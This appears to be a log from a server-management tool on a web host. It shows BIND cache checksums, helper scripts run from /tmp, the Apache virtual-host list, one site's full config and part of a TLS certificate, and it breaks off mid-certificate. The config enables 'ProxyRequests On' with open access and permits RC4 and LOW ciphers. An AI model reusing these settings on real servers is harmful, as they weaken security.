MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:49:59: Establishing a connection
2025-08-26 15:49:59:
PUT: /tmp/pkp294184
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-26 15:50:00:
chmod 755 /tmp/pkp294184; /tmp/pkp294184; rm /tmp/pkp294184
2025-08-26 15:50:00:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-26 15:50:00:
PUT: /tmp/pkp458716
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_eggshell_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:50:00:
chmod 755 /tmp/pkp458716; /tmp/pkp458716; rm /tmp/pkp458716
2025-08-26 15:50:00:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_eggshell_us.conf 1750
<VirtualHost *:80>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
DirectoryIndex index.html index.htm index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName eggshell.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt
DocumentRoot /var/www/pjy_eggshell/public
<Directory /var/www/pjy_eggshell>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/eggshell_secure_access.log combined
ErrorLog /var/log/apache2/pjy/eggshell_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9514/
ProxyPassReverse ws://localhost:9514/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9514/
ProxyPassReverse http://localhost:9514/
</Location>
</VirtualHost>
2025-08-26 15:50:00:
PUT: /tmp/pkp726236
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:50:00:
chmod 755 /tmp/pkp726236; /tmp/pkp726236; rm /tmp/pkp726236
2025-08-26 15:50:00:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt 5293
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBTAxN/ypJc1zlWT2MwFFUgcrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzMzI5WhcNMjUxMTIwMTAzMzI4WjAaMRgwFgYDVQQD
Ew9lZ2dzaGVsbC5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCv+1vZXU4/0EqDlKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flM
EBX+BKTAay1csxvMxo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVo
cVPkuIRya2BrLPSPuwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouq
hv+Xd8Um5KgBL2DVrGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/
yX6UR9PU9LmJBu9ITJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOsk
ad40xuRduCbXFlboPTedZg71AgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGaEjn62LSOd4gRueu2Qn7iVwRdlMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWdnc2hlbGwucGp5LnVzMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvNDQuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY0YzASAAABAMARzBFAiEA
4Qcy8lE8HLOdYaluPBi3DmiSCtc3/3CIp79dQPEezeQCICJcqF8GjGliNqKAAbio
g4WjkQ3MP9CBkOmZJb3gG766AHUArxgaKNaMo+CpikycZ6sJ+Lu8IrquvLE4o6Gd
0/m2Aw0AAAGY0YzI8wAABAMARjBEAiAK29KAB4y8lBJyXSmh8RXzTTKqnAj7FrQY
rLMzhPnZ2QIge5PgBKFOUR+oJb7HjczA7uoqM3h0FMlQ5W51L5K0oz0wDQYJKoZI
hvcNAQELBQADggEBABls+a+Y62Ttzh4E7HC2gpFsUiC0ItNHJOCVUMsZPQTZ0Kgf
pzm0xn06qHJxT203OsL5G8zdZJ/5+K/W+AvdlUQ9PfGQZQl6T/syPYrRyGTCxhVJ
yDyqQIPWFgJsBWHI+n/Q1B9ZVLXLMy6VMfMr9vUuN27qv2+4G/+6K4S4DOkd5/wS
